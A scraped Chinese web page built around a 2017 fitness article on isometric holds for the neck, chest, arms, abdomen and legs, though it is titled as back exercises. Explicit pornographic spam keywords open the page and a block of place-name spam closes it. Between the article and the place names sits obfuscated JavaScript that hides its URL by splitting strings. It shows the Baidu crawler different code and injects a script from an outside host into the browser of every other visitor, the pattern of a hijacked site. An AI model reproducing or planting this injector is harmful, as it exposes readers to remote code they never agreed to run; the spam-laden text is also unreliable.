亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

背部鍛煉方法介紹

2017-06-12 17:48:43  來源:360常識網(wǎng)   熱度:
導語:隨著現(xiàn)代社會的快速的發(fā)展,人們追求高質量生活的同時,也開始尋求更加健康的養(yǎng)生方式,而且養(yǎng)生方式種類繁多不一,有食療養(yǎng)生,也有各種各

隨著現(xiàn)代社會的快速的發(fā)展,人們追求高質量生活的同時,也開始尋求更加健康的養(yǎng)生方式,而且養(yǎng)生方式種類繁多不一,有食療養(yǎng)生,也有各種各樣的鍛煉方法,那么常見的養(yǎng)生方式都有些什么呢,下面就讓我們一起局域了解一下背部的鍛煉方法,相信大家長此以往的堅持下去,一定會又有收獲,下面就讓我們跟隨文章來具體要了解一下。

鍛煉方法:

1.頸部

(1)兩腳自然開立,十指交叉抱于頭后,平穩(wěn)用力將頭向前下方壓,頸部則施以適當?shù)牡挚沽?,不讓手將頭壓下。保持此“僵持”姿勢8~10秒或稍長時間,然后放松。 練習時,應挺胸收腹,不得弓腰駝背。

(2)右手置于頭右側,將頭向左側壓下,頸部則施以適當?shù)牡挚沽Γ蛔屖謱㈩^壓向左側。保持此“僵持”姿勢8~10秒或稍長時間,然后放松。再換方向練習。 練習時,上身應保持正直,不得歪向一側。

2.胸部

(1)俯臥撐屬于動力性練習,下面介紹一種靜力性俯臥撐。做俯臥撐,當身體下降至胸部將要觸及地面時,胸大肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

(2)面對墻站立,兩臂前平舉,以指尖將觸而未觸墻為度。全身挺直,上身前傾,兩手掌扶墻,指尖朝上。屈肘,上臂與前臂成90度角,上身用力靠近墻,兩臂保持屈肘姿勢撐住上身,不使身體靠墻,胸大肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

3.肩部 打開房門,站立于門框內(nèi),兩臂下垂松握拳,手背朝前。隨即兩臂朝兩側分開,以拳抵住門框,好像要將門框撐開一樣,三角肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

4.背部 立姿或坐姿,兩手叉腰,背闊肌繃緊,向兩側張開,保持此靜止姿勢8~10秒或稍長時間,然后放松。

5.臂部

(1)坐于桌前,兩手托住桌子下沿,上臂與前臂成90度角,好像要將桌子托起一樣,肱二頭肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

(2)直立,兩臂自然垂于體側,兩手松握拳,手背朝后。兩臂直臂朝后上方抬起,上身可略前傾,兩臂抬至不能再抬為止,肱三頭肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

(3)立姿或坐姿,兩臂下垂,兩手握拳,手背朝后。手腕盡力彎起,前臂肌肉極度繃緊,保持此靜止姿勢8~10秒或稍長時間。然后放松。

6.腹部

(1)仰臥,腳踝部固定,上身坐起,上身與下肢間的角度大于90度,腹直肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

(2)仰臥,下肢和上身同時翹起成“V”字形,腹直肌極度繃緊,保持此靜止姿勢8~10秒或稍長時間,然后放松。

7.腿部

(1)半蹲,大腿保持水平,上身盡可能與地面垂直,兩臂交叉抱于胸前,股四頭肌極度繃緊,保持此姿勢8~10秒或稍長時間,然后放松。

(2)坐姿,腳尖點地,腳跟盡量抬起,小腿三頭肌極度繃緊,保持此姿勢8~10秒或稍長時間,然后放松

以上內(nèi)容為我們介紹了背部鍛煉的方法,通過這些方法,我們都可以找到一些適合自己的鍛煉方法,現(xiàn)如今的發(fā)病率日益升高,我們必須要加強自身的體育鍛煉,增強自身的體質,這樣才能更好的免受疾病的困擾,希望大家都能長期堅持背部鍛煉,大家一定會受益匪淺的。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
海安县| 辽源市| 林州市| 莒南县| 锡林郭勒盟| 四子王旗| 五寨县| 北碚区| 富川| 安陆市| 金平| 湖南省| 潞城市| 醴陵市| 西乡县| 沙洋县| 临桂县| 岫岩| 肥西县| 平南县| 阿拉尔市| 云霄县| 广汉市| 景宁| 图们市| 林周县| 青浦区| 竹山县| 息烽县| 吉水县| 潼南县| 普格县| 华阴市| 阜康市| 吉木乃县| 鲜城| 乌拉特前旗| 南漳县| 十堰市| 衡南县| 枣庄市|